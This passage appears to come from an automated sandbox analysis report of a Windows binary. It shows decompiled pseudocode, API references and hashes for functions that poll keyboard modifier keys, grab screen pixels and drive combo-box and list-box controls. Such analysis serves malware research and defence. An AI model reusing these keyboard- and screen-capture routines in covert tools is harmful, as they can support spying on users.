                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444eeb
                                                                                                                                                                            0x00444ed3
                                                                                                                                                                            0x00444ed5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00444eda
                                                                                                                                                                            0x00444ee5
                                                                                                                                                                            0x00444d85
                                                                                                                                                                            0x00444d8a
                                                                                                                                                                            0x00444d99
                                                                                                                                                                            0x00444da5
                                                                                                                                                                            0x00444da7
                                                                                                                                                                            0x00444da7
                                                                                                                                                                            0x00444da5
                                                                                                                                                                            0x00444db1
                                                                                                                                                                            0x00444db9
                                                                                                                                                                            0x00444db9
                                                                                                                                                                            0x00444dc1
                                                                                                                                                                            0x00444dc9
                                                                                                                                                                            0x00444dc9
                                                                                                                                                                            0x00444dd1
                                                                                                                                                                            0x00444dd9
                                                                                                                                                                            0x00444dd9
                                                                                                                                                                            0x00444de1
                                                                                                                                                                            0x00444de3
                                                                                                                                                                            0x00444ef4
                                                                                                                                                                            0x00444df4
                                                                                                                                                                            0x00444df4
                                                                                                                                                                            0x00444dff
                                                                                                                                                                            0x00444dff
                                                                                                                                                                            0x00444de3

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                                                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                                                                                                            • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                                                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                                                                                                            • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                                                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                                                                                                            • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                                                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                                                                                                            • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                                                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                                                                                                            • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: State$Async$Keyboard
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 541375521-0
                                                                                                                                                                            • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                            • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                                                                                                            • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                                                                                                            • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434506 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 59%
                                                                                                                                                                            			E00434506(signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t59;
				intOrPtr _t63;
				struct HDC__* _t64;
				void* _t65;
				void* _t67;
				int _t68;
				intOrPtr _t75;
				void* _t76;
				int _t77;
				signed int _t86;
				signed int _t87;
				struct HDC__* _t89;
				void* _t90;
				int _t91;
				intOrPtr _t93;
				int _t95;
				signed int _t101;
				signed int _t104;
				int _t105;
				int _t110;
				signed int _t113;
				struct HDC__* _t114;
				void* _t115;
				int* _t117;
				int _t118;
				void* _t119;
				void* _t120;
				int _t122;
				int _t125;
				void* _t128;
				void* _t129;

				_push(_t86);
				_t117 =  *(_t128 + 0x58);
				_t59 = _t117[2];
				_t91 =  *_t117;
				_t122 = _t117[1];
				_t110 = _t117[3];
				_t101 = __edx & 0xffffff00 | _t59 - _t91 < 0x00000000;
				_t87 = _t86 & 0xffffff00 | _t110 - _t122 < 0x00000000;
				 *(_t128 + 0x5c) = _t101;
				 *(_t128 + 0x13) = _t87;
				if(_t101 != 0) {
					 *_t117 = _t59;
					_t117[2] = _t91;
				}
				if(_t87 != 0) {
					_t117[1] = _t110;
					_t117[3] = _t122;
				}
				E004344B7( *((intOrPtr*)( *(_t128 + 0x54) + 0x104)), _t128 + 0x20,  *(_t128 + 0x58));
				_t63 =  *((intOrPtr*)(_t128 + 0x1c));
				_t93 =  *((intOrPtr*)(_t128 + 0x20));
				 *_t117 =  *_t117 + _t63;
				_t117[2] = _t117[2] + _t63;
				_t117[1] = _t117[1] + _t93;
				_t117[3] = _t117[3] + _t93;
				_t113 = _t117[2] -  *_t117 + 1;
				 *(_t128 + 0x5c) = _t113;
				_t125 = _t117[3] - _t117[1] + 1;
				_t64 =  *0x4825f0(0);
				_t89 = _t64;
				_t65 =  *0x4820ec(_t89, _t113, _t125);
				 *(_t128 + 0x18) = _t65;
				_t114 =  *0x4820f0(_t89);
				_t67 = SelectObject(_t114,  *(_t128 + 0x14));
				_t104 =  *(_t128 + 0x13);
				 *(_t128 + 0x18) = _t67;
				_t95 = _t125;
				if(_t104 != 0) {
					_t95 =  ~_t95;
				}
				_t68 =  *(_t128 + 0x58);
				if( *(_t128 + 0x5c) != 0) {
					_t68 =  ~_t68;
				}
				if(_t104 == 0) {
					_t105 = _t117[1];
				} else {
					_t105 = _t117[3];
				}
				_t138 =  *(_t128 + 0x5c);
				 *(_t128 + 0x54) = _t105;
				if( *(_t128 + 0x5c) == 0) {
					_t118 =  *_t117;
				} else {
					_t118 = _t117[2];
				}
				StretchBlt(_t114, 0, 0,  *(_t128 + 0x60), _t125, _t89, _t118,  *(_t128 + 0x60), _t68, _t95, 0xcc0020);
				_t119 =  *(_t128 + 0x14);
				 *(_t128 + 0x30) =  ~_t125;
				 *(_t128 + 0x3c) =  *(_t128 + 0x58);
				 *((intOrPtr*)(_t128 + 0x40)) = 0x28;
				 *((short*)(_t128 + 0x4c)) = 1;
				 *((short*)(_t128 + 0x4e)) = 0x20;
				 *(_t128 + 0x50) = 0;
				GetDIBits(_t114, _t119, 0, 0, 0, _t128 + 0x28, 0);
				_t75 =  *((intOrPtr*)(_t128 + 0x38));
				 *( *(_t128 + 0x60)) = _t75;
				_t76 = E0041171A(_t89, _t114, _t138);
				_t129 = _t128 + 4;
				_t108 = _t129 + 0x28;
				 *(_t129 + 0x78) = _t76;
				_t77 = GetDIBits(_t114, _t119, 0, _t125, _t76, _t129 + 0x28, 0);
				SelectObject(_t114,  *(_t129 + 0x18));
				DeleteObject(_t119);
				DeleteDC(_t114);
				 *0x4825ec();
				_t115 = 0;
				_t120 = _t89;
				_t90 = _t75;
				if(_t77 == 0) {
					E004112EF(_t90, _t108, _t115, _t120, __eflags,  *((intOrPtr*)(_t129 + 0x4c)));
					__eflags = 0;
					return 0;
				} else {
					return  *((intOrPtr*)(_t129 + 0x4c));
				}
			}






































                                                                                                                                                                            0x00434509
                                                                                                                                                                            0x0043450c
                                                                                                                                                                            0x00434510
                                                                                                                                                                            0x00434513
                                                                                                                                                                            0x00434515
                                                                                                                                                                            0x0043451b
                                                                                                                                                                            0x0043451e
                                                                                                                                                                            0x00434523
                                                                                                                                                                            0x00434526
                                                                                                                                                                            0x0043452a
                                                                                                                                                                            0x00434530
                                                                                                                                                                            0x00434532
                                                                                                                                                                            0x00434534
                                                                                                                                                                            0x00434534
                                                                                                                                                                            0x00434539
                                                                                                                                                                            0x0043453b
                                                                                                                                                                            0x0043453e
                                                                                                                                                                            0x0043453e
                                                                                                                                                                            0x00434556
                                                                                                                                                                            0x0043455b
                                                                                                                                                                            0x0043455f
                                                                                                                                                                            0x00434563
                                                                                                                                                                            0x00434565
                                                                                                                                                                            0x0043456d
                                                                                                                                                                            0x00434570
                                                                                                                                                                            0x0043457b
                                                                                                                                                                            0x00434580
                                                                                                                                                                            0x00434584
                                                                                                                                                                            0x00434585
                                                                                                                                                                            0x0043458c
                                                                                                                                                                            0x00434590
                                                                                                                                                                            0x00434597
                                                                                                                                                                            0x004345a5
                                                                                                                                                                            0x004345a9
                                                                                                                                                                            0x004345af
                                                                                                                                                                            0x004345b3
                                                                                                                                                                            0x004345b7
                                                                                                                                                                            0x004345bb
                                                                                                                                                                            0x004345bd
                                                                                                                                                                            0x004345bd
                                                                                                                                                                            0x004345c4
                                                                                                                                                                            0x004345c8
                                                                                                                                                                            0x004345ca
                                                                                                                                                                            0x004345ca
                                                                                                                                                                            0x004345ce
                                                                                                                                                                            0x004345d5
                                                                                                                                                                            0x004345d0
                                                                                                                                                                            0x004345d0
                                                                                                                                                                            0x004345d0
                                                                                                                                                                            0x004345d8
                                                                                                                                                                            0x004345dd
                                                                                                                                                                            0x004345e1
                                                                                                                                                                            0x004345fd
                                                                                                                                                                            0x004345e3
                                                                                                                                                                            0x004345e3
                                                                                                                                                                            0x004345e3
                                                                                                                                                                            0x00434618
                                                                                                                                                                            0x00434622
                                                                                                                                                                            0x0043462c
                                                                                                                                                                            0x0043463b
                                                                                                                                                                            0x0043464b
                                                                                                                                                                            0x00434653
                                                                                                                                                                            0x00434658
                                                                                                                                                                            0x0043465d
                                                                                                                                                                            0x00434665
                                                                                                                                                                            0x0043466b
                                                                                                                                                                            0x00434674
                                                                                                                                                                            0x00434676
                                                                                                                                                                            0x0043467b
                                                                                                                                                                            0x00434680
                                                                                                                                                                            0x0043468b
                                                                                                                                                                            0x0043468f
                                                                                                                                                                            0x0043469d
                                                                                                                                                                            0x004346a4
                                                                                                                                                                            0x004346ab
                                                                                                                                                                            0x004346b4
                                                                                                                                                                            0x004346ba
                                                                                                                                                                            0x004346bb
                                                                                                                                                                            0x004346bf
                                                                                                                                                                            0x004346c0
                                                                                                                                                                            0x004345ed
                                                                                                                                                                            0x004345f5
                                                                                                                                                                            0x004345fa
                                                                                                                                                                            0x004346c6
                                                                                                                                                                            0x004346cd
                                                                                                                                                                            0x004346cd

                                                                                                                                                                            APIs
                                                                                                                                                                            • 72E5AC50.USER32(00000000,?,?,?), ref: 00434585
                                                                                                                                                                            • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                                            • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                                            • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BitsObjectSelectStretch
                                                                                                                                                                            • String ID: (
                                                                                                                                                                            • API String ID: 362862436-3887548279
                                                                                                                                                                            • Opcode ID: c986a81f4162c7b2de72fe16e0c7cc4fe6d4430d60046035d228cd9c509668b6
                                                                                                                                                                            • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                                            • Opcode Fuzzy Hash: c986a81f4162c7b2de72fe16e0c7cc4fe6d4430d60046035d228cd9c509668b6
                                                                                                                                                                            • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E004691F4(void* __ecx, void* __eflags, intOrPtr _a4) {
				long* _v0;
				signed short _v4;
				char _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t12;
				long _t18;
				signed short _t19;
				long _t22;
				signed short _t23;
				void* _t29;
				int _t36;
				char* _t47;
				char* _t48;

				_t50 = _a4;
				_t47 =  &_v20;
				E00401B70(_t29, L"ComboBox", _t47, __eflags);
				_push(_t47);
				_t9 = E004689B5(__eflags, _a4);
				_t30 = _t9;
				E00402620(_t47);
				if(_t9 == 0) {
					_t48 =  &_v24;
					E00401B70(_t30, L"ListBox", _t48, __eflags);
					_push(_t48);
					_t12 = E004689B5(__eflags, _t50);
					E00402620(_t48);
					__eflags = _t12;
					if(_t12 == 0) {
						goto L6;
					} else {
						_t36 = 0x18c;
						_v4 = 2;
						goto L4;
					}
				} else {
					_t36 = 0x14d;
					_v0 = 9;
					L4:
					if(SendMessageW(_v0, _t36, 0xffffffff,  *_v0) == 0xffffffff) {
						L6:
						__eflags = 0;
						return 0;
					} else {
						_t18 = _v0;
						_t19 = GetDlgCtrlID(_t18);
						SendMessageW(GetParent(_v0), 0x111, _t19 & 0x0000ffff | 0x00010000, _t18);
						_t22 = _v0;
						_t23 = GetDlgCtrlID(_t22);
						SendMessageW(GetParent(_v0), 0x111, _t23 & 0x0000ffff | (_v4 & 0x0000ffff) << 0x00000010, _t22);
						return 1;
					}
				}
			}




















                                                                                                                                                                            0x004691f9
                                                                                                                                                                            0x00469204
                                                                                                                                                                            0x00469208
                                                                                                                                                                            0x0046920d
                                                                                                                                                                            0x0046920f
                                                                                                                                                                            0x00469216
                                                                                                                                                                            0x00469218
                                                                                                                                                                            0x0046921f
                                                                                                                                                                            0x00469235
                                                                                                                                                                            0x00469239
                                                                                                                                                                            0x0046923e
                                                                                                                                                                            0x00469240
                                                                                                                                                                            0x00469249
                                                                                                                                                                            0x0046924e
                                                                                                                                                                            0x00469250
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469256
                                                                                                                                                                            0x00469256
                                                                                                                                                                            0x0046925b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046925b
                                                                                                                                                                            0x00469221
                                                                                                                                                                            0x00469221
                                                                                                                                                                            0x00469226
                                                                                                                                                                            0x00469263
                                                                                                                                                                            0x0046927c
                                                                                                                                                                            0x004692db
                                                                                                                                                                            0x004692db
                                                                                                                                                                            0x004692e1
                                                                                                                                                                            0x0046927e
                                                                                                                                                                            0x0046927e
                                                                                                                                                                            0x00469289
                                                                                                                                                                            0x004692a7
                                                                                                                                                                            0x004692a9
                                                                                                                                                                            0x004692ae
                                                                                                                                                                            0x004692ca
                                                                                                                                                                            0x004692d5
                                                                                                                                                                            0x004692d5
                                                                                                                                                                            0x0046927c

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                                            • GetParent.USER32 ref: 004692A4
                                                                                                                                                                            • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                                            • GetParent.USER32 ref: 004692C7
                                                                                                                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 2040099840-1403004172
                                                                                                                                                                            • Opcode ID: c4cfe3aa6347263f5e7f478cfbbd79706a78b3b69e9ca7ea7c2a1f62ea4a4c3e
                                                                                                                                                                            • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                                            • Opcode Fuzzy Hash: c4cfe3aa6347263f5e7f478cfbbd79706a78b3b69e9ca7ea7c2a1f62ea4a4c3e
                                                                                                                                                                            • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 92%
                                                                                                                                                                            			E004693F0(void* __ecx, void* __eflags, intOrPtr _a4) {
				struct HWND__* _v0;
				signed short _v4;
				char _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t12;
				int _t15;
				long _t18;
				signed short _t19;
				long _t22;
				signed short _t23;
				void* _t29;
				char* _t46;
				char* _t47;

				_t49 = _a4;
				_t46 =  &_v20;
				E00401B70(_t29, L"ComboBox", _t46, __eflags);
				_push(_t46);
				_t9 = E004689B5(__eflags, _a4);
				_t30 = _t9;
				E00402620(_t46);
				if(_t9 == 0) {
					_t47 =  &_v24;
					E00401B70(_t30, L"ListBox", _t47, __eflags);
					_push(_t47);
					_t12 = E004689B5(__eflags, _t49);
					E00402620(_t47);
					__eflags = _t12;
					if(_t12 == 0) {
						goto L6;
					} else {
						_t15 = 0x186;
						_v4 = 2;
						goto L4;
					}
				} else {
					_t15 = 0x14e;
					_v0 = 9;
					L4:
					if(SendMessageW(_v0, _t15, _v0, 0) == 0xffffffff) {
						L6:
						__eflags = 0;
						return 0;
					} else {
						_t18 = _v0;
						_t19 = GetDlgCtrlID(_t18);
						SendMessageW(GetParent(_v0), 0x111, _t19 & 0x0000ffff | 0x00010000, _t18);
						_t22 = _v0;
						_t23 = GetDlgCtrlID(_t22);
						SendMessageW(GetParent(_v0), 0x111, _t23 & 0x0000ffff | (_v4 & 0x0000ffff) << 0x00000010, _t22);
						return 1;
					}
				}
			}




















                                                                                                                                                                            0x004693f5
                                                                                                                                                                            0x00469400
                                                                                                                                                                            0x00469404
                                                                                                                                                                            0x00469409
                                                                                                                                                                            0x0046940b
                                                                                                                                                                            0x00469412
                                                                                                                                                                            0x00469414
                                                                                                                                                                            0x0046941b
                                                                                                                                                                            0x00469431
                                                                                                                                                                            0x00469435
                                                                                                                                                                            0x0046943a
                                                                                                                                                                            0x0046943c
                                                                                                                                                                            0x00469445
                                                                                                                                                                            0x0046944a
                                                                                                                                                                            0x0046944c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469452
                                                                                                                                                                            0x00469452
                                                                                                                                                                            0x00469457
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469457
                                                                                                                                                                            0x0046941d
                                                                                                                                                                            0x0046941d
                                                                                                                                                                            0x00469422
                                                                                                                                                                            0x0046945f
                                                                                                                                                                            0x00469476
                                                                                                                                                                            0x004694d5
                                                                                                                                                                            0x004694d5
                                                                                                                                                                            0x004694db
                                                                                                                                                                            0x00469478
                                                                                                                                                                            0x00469478
                                                                                                                                                                            0x00469483
                                                                                                                                                                            0x004694a1
                                                                                                                                                                            0x004694a3
                                                                                                                                                                            0x004694a8
                                                                                                                                                                            0x004694c4
                                                                                                                                                                            0x004694cf
                                                                                                                                                                            0x004694cf
                                                                                                                                                                            0x00469476

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                                                                                                            • GetParent.USER32 ref: 0046949E
                                                                                                                                                                            • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                                                                                                            • GetParent.USER32 ref: 004694C1
                                                                                                                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                                            • String ID: ComboBox$ListBox
                                                                                                                                                                            • API String ID: 2040099840-1403004172
                                                                                                                                                                            • Opcode ID: f6d2d289d9c6b042648c13f3860ca422660ddf71d50f280739d9b957209a3e54
                                                                                                                                                                            • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                                                                                                            • Opcode Fuzzy Hash: f6d2d289d9c6b042648c13f3860ca422660ddf71d50f280739d9b957209a3e54
                                                                                                                                                                            • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 21%
                                                                                                                                                                            			E0046ECBF(intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr _a20) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t45;
				intOrPtr* _t80;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr* _t84;
				intOrPtr _t87;

				_t83 = _a20;
				_t80 = _a4;
				_t81 = _t80 + 0x18;
				 *_t80 = 0x487634;
				 *_t81 = 0;
				 *((intOrPtr*)(_t81 + 0xc)) = 0;
				 *((intOrPtr*)(_t81 + 8)) = 1;
				 *((char*)(_t80 + 8)) = 0;
				 *((char*)(_t80 + 0x2c)) = 0;
				 *((char*)(_t80 + 0x2d)) = 0;
				 *((intOrPtr*)(_t80 + 0x30)) = 0;
				 *((intOrPtr*)(_t80 + 0x10)) = 0;
				 *((intOrPtr*)(_t80 + 0x28)) = 0;
				 *((intOrPtr*)(_t80 + 4)) = 1;
				_t87 = _a20;
				if(_t87 == 0) {
					L6:
					return _t80;
				} else {
					_push( ~(0 | _t87 > 0x00000000) | (E004112D5(_t83) + 0x00000001) * 0x00000002);
					 *((intOrPtr*)(_t80 + 0x30)) = E0041171A(0, _t80, _t87);
					E00411691(_t43, _t83);
					_t45 = _a8;
					if(_t45 == 0 || _a12 == 0) {
						L5:
						 *((char*)(_t80 + 0x2c)) = 1;
						E004092C0(_t80, _t81);
						 *((intOrPtr*)(_t81 + 8)) = 1;
						 *_t81 = 0;
						_t82 =  *0x482434;
						 *_t82(_t80 + 0x38);
						 *_t82(_t80 + 0x58);
						 *_t82(_t80 + 0x68);
						 *_t82(_t80 + 0x78);
						 *_t82(_t80 + 0x88);
						 *_t82(_t80 + 0x48);
						 *_t82(_t80 + 0x98);
						 *_t82(_t80 + 0xa8);
						goto L6;
					} else {
						_t84 = _a16;
						if(_t84 == 0) {
							goto L5;
						} else {
							 *((intOrPtr*)(_t80 + 0x10)) = _t45;
							 *((intOrPtr*)( *((intOrPtr*)( *_t45 + 4))))(_t45);
							 *((intOrPtr*)(_t80 + 0x28)) = _t84;
							 *((intOrPtr*)( *((intOrPtr*)( *_t84 + 4))))(_t84);
							E00409210(_t81,  *((intOrPtr*)( *_t84 + 4)), _t84, _a4);
							return _t80;
						}
					}
				}
			}













                                                                                                                                                                            0x0046ecc1
                                                                                                                                                                            0x0046ecc9
                                                                                                                                                                            0x0046eccd
                                                                                                                                                                            0x0046ecd0
                                                                                                                                                                            0x0046ecd6
                                                                                                                                                                            0x0046ecd8
                                                                                                                                                                            0x0046ece0
                                                                                                                                                                            0x0046ece3
                                                                                                                                                                            0x0046ece6
                                                                                                                                                                            0x0046ece9
                                                                                                                                                                            0x0046ecec
                                                                                                                                                                            0x0046ecef
                                                                                                                                                                            0x0046ecf2
                                                                                                                                                                            0x0046ecf5
                                                                                                                                                                            0x0046ecf8
                                                                                                                                                                            0x0046ecfa
                                                                                                                                                                            0x0046edbd
                                                                                                                                                                            0x0046edc3
                                                                                                                                                                            0x0046ed00
                                                                                                                                                                            0x0046ed17
                                                                                                                                                                            0x0046ed1f
                                                                                                                                                                            0x0046ed22
                                                                                                                                                                            0x0046ed27
                                                                                                                                                                            0x0046ed30
                                                                                                                                                                            0x0046ed6c
                                                                                                                                                                            0x0046ed6c
                                                                                                                                                                            0x0046ed70
                                                                                                                                                                            0x0046ed78
                                                                                                                                                                            0x0046ed7f
                                                                                                                                                                            0x0046ed81
                                                                                                                                                                            0x0046ed88
                                                                                                                                                                            0x0046ed8e
                                                                                                                                                                            0x0046ed94
                                                                                                                                                                            0x0046ed9a
                                                                                                                                                                            0x0046eda3
                                                                                                                                                                            0x0046eda9
                                                                                                                                                                            0x0046edb2
                                                                                                                                                                            0x0046edbb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ed38
                                                                                                                                                                            0x0046ed38
                                                                                                                                                                            0x0046ed3e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ed40
                                                                                                                                                                            0x0046ed40
                                                                                                                                                                            0x0046ed49
                                                                                                                                                                            0x0046ed4b
                                                                                                                                                                            0x0046ed55
                                                                                                                                                                            0x0046ed5e
                                                                                                                                                                            0x0046ed69
                                                                                                                                                                            0x0046ed69
                                                                                                                                                                            0x0046ed3e
                                                                                                                                                                            0x0046ed30

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
